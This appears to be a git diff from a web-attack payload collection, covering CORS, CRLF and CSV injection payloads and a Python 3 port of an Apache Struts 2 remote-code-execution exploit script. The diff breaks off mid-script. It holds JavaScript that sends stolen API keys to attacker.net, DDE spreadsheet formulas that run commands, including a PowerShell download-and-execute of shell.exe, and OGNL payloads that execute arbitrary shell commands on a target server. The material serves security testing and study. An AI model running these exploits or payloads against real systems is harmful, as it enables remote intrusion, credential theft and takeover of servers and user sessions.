In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
|
||||
|
||||
```ps1
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.example.com
|
||||
Origin: https://evilexample.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://evilexample.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof of Concept (Example 1)
|
||||
|
||||
This PoC requires the respective JS script to be hosted at `evilexample.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//attacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
#### Vulnerable Implementation (Example 2)
|
||||
|
||||
In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
|
||||
|
||||
```ps1
|
||||
GET /endpoint HTTP/1.1
|
||||
Host: api.example.com
|
||||
Origin: https://apiiexample.com
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: https://apiiexample.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
|
||||
{"[private API key]"}
|
||||
```
|
||||
|
||||
#### Proof of concept (Example 2)
|
||||
|
||||
This PoC requires the respective JS script to be hosted at `apiiexample.com`
|
||||
|
||||
```js
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://api.example.com/endpoint',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='//attacker.net/log?key='+this.responseText;
|
||||
};
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
|
||||
* [PortSwigger - CORS vulnerability with trusted null origin](https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack)
|
||||
* [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
|
||||
* [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
|
||||
|
||||
## References
|
||||
|
||||
* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
|
||||
* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
|
||||
* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
|
||||
* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
|
||||
* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
|
||||
* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
|
||||
* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
|
||||
* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
|
||||
* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
|
||||
* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
152
CRLF Injection/README.md
Normal file
152
CRLF Injection/README.md
Normal file
|
|
@ -0,0 +1,152 @@
|
|||
# Carriage Return Line Feed
|
||||
|
||||
> CRLF Injection is a web security vulnerability that arises when an attacker injects unexpected Carriage Return (CR) (\r) and Line Feed (LF) (\n) characters into an application. These characters are used to signify the end of a line and the start of a new one in network protocols like HTTP, SMTP, and others. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Session Fixation](#session-fixation)
|
||||
* [Cross Site Scripting](#cross-site-scripting)
|
||||
* [Open Redirect](#open-redirect)
|
||||
* [Filter Bypass](#filter-bypass)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Methodology
|
||||
|
||||
HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
|
||||
|
||||
**CRLF Characters**:
|
||||
|
||||
* `CR` (`\r`, ASCII 13): Moves the cursor to the beginning of the line.
|
||||
* `LF` (`\n`, ASCII 10): Moves the cursor to the next line.
|
||||
|
||||
By injecting a CRLF sequence, the attacker can break the response into two parts, effectively controlling the structure of the HTTP response. This can result in various security issues, such as:
|
||||
|
||||
* Cross-Site Scripting (XSS): Injecting malicious scripts into the second response.
|
||||
* Cache Poisoning: Forcing incorrect content to be stored in caches.
|
||||
* Header Manipulation: Altering headers to mislead users or systems
|
||||
|
||||
### Session Fixation
|
||||
|
||||
A typical HTTP response header looks like this:
|
||||
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Set-Cookie: sessionid=abc123
|
||||
```
|
||||
|
||||
If user input `value\r\nSet-Cookie: admin=true` is embedded into the headers without sanitization:
|
||||
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Set-Cookie: sessionid=value
|
||||
Set-Cookie: admin=true
|
||||
```
|
||||
|
||||
Now the attacker has set their own cookie.
|
||||
|
||||
### Cross Site Scripting
|
||||
|
||||
Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
|
||||
|
||||
**Requested page**:
|
||||
|
||||
```http
|
||||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||||
```
|
||||
|
||||
**HTTP response**:
|
||||
|
||||
```http
|
||||
Set-Cookie:en
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||||
Content-Length: 34
|
||||
|
||||
<html>You have been Phished</html>
|
||||
```
|
||||
|
||||
In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
|
||||
|
||||
**Requested page**:
|
||||
|
||||
```powershell
|
||||
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
|
||||
```
|
||||
|
||||
**HTTP Response**:
|
||||
|
||||
```http
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Content-Length: 22907
|
||||
Connection: close
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
|
||||
ETag: "842fe-597b-54415a5c97a80"
|
||||
Vary: Accept-Encoding
|
||||
X-UA-Compatible: IE=edge
|
||||
Server: NetDNA-cache/2.2
|
||||
Link: https://example.com/[INJECTION STARTS HERE]
|
||||
Content-Length:35
|
||||
X-XSS-Protection:0
|
||||
|
||||
23
|
||||
<svg onload=alert(document.domain)>
|
||||
0
|
||||
```
|
||||
|
||||
### Open Redirect
|
||||
|
||||
Inject a `Location` header to force a redirect for the user.
|
||||
|
||||
```ps1
|
||||
%0d%0aLocation:%20http://myweb.com
|
||||
```
|
||||
|
||||
## Filter Bypass
|
||||
|
||||
[RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
|
||||
|
||||
> Newly defined header fields SHOULD limit their field values to US-ASCII octets.
|
||||
|
||||
Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
|
||||
|
||||
| UTF-8 Character | Hex | Unicode | Stripped |
|
||||
| --------- | --- | ------- | -------- |
|
||||
| `嘊` | `%E5%98%8A` | `\u560a` | `%0A` (\n) |
|
||||
| `嘍` | `%E5%98%8D` | `\u560d` | `%0D` (\r) |
|
||||
| `嘾` | `%E5%98%BE` | `\u563e` | `%3E` (>) |
|
||||
| `嘼` | `%E5%98%BC` | `\u563c` | `%3C` (<) |
|
||||
|
||||
The UTF-8 character `嘊` contains `0a` in the last part of its hex format, which would be converted as `\n` by Firefox.
|
||||
|
||||
An example payload using UTF-8 characters would be:
|
||||
|
||||
```js
|
||||
嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
|
||||
```
|
||||
|
||||
URL encoded version
|
||||
|
||||
```js
|
||||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
|
||||
* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
|
||||
|
||||
## References
|
||||
|
||||
* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
|
||||
* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
|
||||
* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
|
||||
|
|
@ -1,101 +0,0 @@
|
|||
# CRLF
|
||||
|
||||
The term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line.
|
||||
|
||||
A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL.
|
||||
|
||||
## CRLF - Add a cookie
|
||||
|
||||
Requested page
|
||||
|
||||
```powershell
|
||||
http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue
|
||||
```
|
||||
|
||||
HTTP Response
|
||||
|
||||
```powershell
|
||||
Connection: keep-alive
|
||||
Content-Length: 178
|
||||
Content-Type: text/html
|
||||
Date: Mon, 09 May 2016 14:47:29 GMT
|
||||
Location: https://www.example.net/[INJECTION STARTS HERE]
|
||||
Set-Cookie: mycookie=myvalue
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
X-Sucuri-ID: 15016
|
||||
x-content-type-options: nosniff
|
||||
x-xss-protection: 1; mode=block
|
||||
```
|
||||
|
||||
## CRLF - Add a cookie - XSS Bypass
|
||||
|
||||
Requested page
|
||||
|
||||
```powershell
|
||||
http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
|
||||
```
|
||||
|
||||
HTTP Response
|
||||
|
||||
```powershell
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 20 Dec 2016 14:34:03 GMT
|
||||
Content-Type: text/html; charset=utf-8
|
||||
Content-Length: 22907
|
||||
Connection: close
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
|
||||
ETag: "842fe-597b-54415a5c97a80"
|
||||
Vary: Accept-Encoding
|
||||
X-UA-Compatible: IE=edge
|
||||
Server: NetDNA-cache/2.2
|
||||
Link: <https://example.com/[INJECTION STARTS HERE]
|
||||
Content-Length:35
|
||||
X-XSS-Protection:0
|
||||
|
||||
23
|
||||
<svg onload=alert(document.domain)>
|
||||
0
|
||||
```
|
||||
|
||||
## CRLF - Write HTML
|
||||
|
||||
Requested page
|
||||
|
||||
```powershell
|
||||
http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
|
||||
```
|
||||
|
||||
HTTP response
|
||||
|
||||
```powershell
|
||||
Set-Cookie:en
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
|
||||
Content-Length: 34
|
||||
|
||||
<html>You have been Phished</html>
|
||||
```
|
||||
|
||||
## CRLF - Filter Bypass
|
||||
|
||||
Using UTF-8 encoding
|
||||
|
||||
```powershell
|
||||
%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE
|
||||
```
|
||||
|
||||
Remainder:
|
||||
|
||||
* %E5%98%8A = %0A = \u560a
|
||||
* %E5%98%8D = %0D = \u560d
|
||||
* %E5%98%BE = %3E = \u563e (>)
|
||||
* %E5%98%BC = %3C = \u563c (<)
|
||||
|
||||
## Thanks to
|
||||
|
||||
* https://www.owasp.org/index.php/CRLF_Injection
|
||||
* https://vulners.com/hackerone/H1:192749
|
||||
92
CSV Injection/README.md
Normal file
92
CSV Injection/README.md
Normal file
|
|
@ -0,0 +1,92 @@
|
|||
# CSV Injection
|
||||
|
||||
> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Google Sheets](#google-sheets)
|
||||
* [References](#references)
|
||||
|
||||
## Methodology
|
||||
|
||||
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
|
||||
|
||||
```powershell
|
||||
=
|
||||
+
|
||||
–
|
||||
@
|
||||
```
|
||||
|
||||
Basic exploits with **Dynamic Data Exchange**.
|
||||
|
||||
* Spawn a calc
|
||||
|
||||
```powershell
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+1)*cmd|' /C calc'!A0
|
||||
=2+5+cmd|' /C calc'!A0
|
||||
=cmd|' /C calc'!'A1'
|
||||
```
|
||||
|
||||
* PowerShell download and execute
|
||||
|
||||
```powershell
|
||||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||
```
|
||||
|
||||
* Prefix obfuscation and command chaining
|
||||
|
||||
```powershell
|
||||
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
|
||||
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
|
||||
= cmd|'/c calc.exe'!A
|
||||
```
|
||||
|
||||
* Using rundll32 instead of cmd
|
||||
|
||||
```powershell
|
||||
=rundll32|'URL.dll,OpenURL calc.exe'!A
|
||||
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
|
||||
```
|
||||
|
||||
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
|
||||
|
||||
```powershell
|
||||
= C m D | '/ c c al c . e x e ' ! A
|
||||
```
|
||||
|
||||
Technical details of the above payloads:
|
||||
|
||||
* `cmd` is the name the server can respond to whenever a client is trying to access the server
|
||||
* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
|
||||
* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||||
|
||||
### Google Sheets
|
||||
|
||||
Google Sheets allows some additional formulas that are able to fetch remote URLs:
|
||||
|
||||
* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
|
||||
* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
|
||||
* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
|
||||
* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
|
||||
* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
|
||||
|
||||
So one can test blind formula injection or a potential for data exfiltration with:
|
||||
|
||||
```c
|
||||
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
|
||||
```
|
||||
|
||||
Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
|
||||
|
||||
## References
|
||||
|
||||
* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
|
||||
* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
|
||||
* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
|
||||
* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||
* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||||
* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
|
||||
* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
|
||||
|
|
@ -1,32 +0,0 @@
|
|||
# CSV Excel formula injection
|
||||
|
||||
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
|
||||
|
||||
## Exploit
|
||||
|
||||
Basic exploit with Dynamic Data Exchange
|
||||
|
||||
```powershell
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+1)*cmd|' /C calc'!A0
|
||||
```
|
||||
|
||||
Technical Details of the above payload:
|
||||
cmd is the name the server can respond to whenever a client is trying to access the server
|
||||
/C calc is the file name which in our case is the calc(i.e the calc.exe)
|
||||
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
|
||||
|
||||
Any formula can be started with
|
||||
|
||||
```powershell
|
||||
=
|
||||
+
|
||||
–
|
||||
@
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
|
||||
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
|
||||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
||||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
||||
319
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
Executable file → Normal file
319
CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py
Executable file → Normal file
|
|
@ -1,13 +1,18 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
import urllib2
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import input
|
||||
from builtins import str
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
import commands
|
||||
import subprocess
|
||||
import requests
|
||||
import readline
|
||||
import urlparse
|
||||
import urllib.parse
|
||||
|
||||
RED = '\033[1;31m'
|
||||
BLUE = '\033[94m'
|
||||
|
|
@ -21,190 +26,190 @@ def cls():
|
|||
os.system(['clear', 'cls'][os.name == 'nt'])
|
||||
cls()
|
||||
|
||||
logo = BLUE+'''
|
||||
___ _____ ___ _ _ _____ ___
|
||||
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
|
||||
logo = BLUE+'''
|
||||
___ _____ ___ _ _ _____ ___
|
||||
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
|
||||
| (_(_) | | | (_) )| | | | | | | (_(_)
|
||||
`\__ \ | | | , / | | | | | | `\__ \
|
||||
`\__ \ | | | , / | | | | | | `\__ \
|
||||
( )_) | | | | |\ \ | (_) | | | ( )_) |
|
||||
`\____) (_) (_) (_)(_____) (_) `\____)
|
||||
`\____) (_) (_) (_)(_____) (_) `\____)
|
||||
|
||||
=[ Command Execution v3]=
|
||||
By @s1kr10s
|
||||
By @s1kr10s
|
||||
'''+ENDC
|
||||
print logo
|
||||
|
||||
print " * Ejemplo: http(s)://www.victima.com/files.login\n"
|
||||
host = raw_input(BOLD+" [+] HOST: "+ENDC)
|
||||
print(logo)
|
||||
|
||||
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
|
||||
host = input(BOLD+" [+] HOST: "+ENDC)
|
||||
|
||||
if len(host) > 0:
|
||||
if host.find("https://") != -1 or host.find("http://") != -1:
|
||||
if host.find("https://") != -1 or host.find("http://") != -1:
|
||||
|
||||
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
|
||||
|
||||
def exploit(comando):
|
||||
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploit
|
||||
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
|
||||
|
||||
def exploit2(comando):
|
||||
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
|
||||
return exploit2
|
||||
def exploit(comando):
|
||||
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploit
|
||||
|
||||
def exploit3(comando):
|
||||
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
|
||||
return exploit3
|
||||
def exploit2(comando):
|
||||
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
|
||||
return exploit2
|
||||
|
||||
def pwnd(shellfile):
|
||||
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploitfile
|
||||
def exploit3(comando):
|
||||
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
|
||||
return exploit3
|
||||
|
||||
def validador():
|
||||
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
|
||||
return arr_lin_win
|
||||
def pwnd(shellfile):
|
||||
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
|
||||
return exploitfile
|
||||
|
||||
#def reversepl(ip,port):
|
||||
# print "perl"
|
||||
def validador():
|
||||
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
|
||||
return arr_lin_win
|
||||
|
||||
#def reversepy(ip,port):
|
||||
# print "python"
|
||||
#def reversepl(ip,port):
|
||||
# print "perl"
|
||||
|
||||
# CVE-2013-2251 ---------------------------------------------------------------------------------
|
||||
try:
|
||||
response = ''
|
||||
response = urllib2.urlopen(host+poc)
|
||||
except:
|
||||
print RED+" Servidor no responde\n"+ENDC
|
||||
exit(0)
|
||||
#def reversepy(ip,port):
|
||||
# print "python"
|
||||
|
||||
